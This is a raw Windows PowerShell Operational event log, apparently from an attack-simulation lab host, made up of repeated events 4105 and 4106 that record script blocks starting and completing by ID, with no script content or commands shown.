ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039288
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039286
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039275
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039274
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039273
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039272
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039270
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039264
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039263
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039257
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039256
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039255
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039254
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039252
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039251
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039250
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039249
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039248
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039247
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039246
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039245
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039244
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2039243
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2039242
Keywords=None
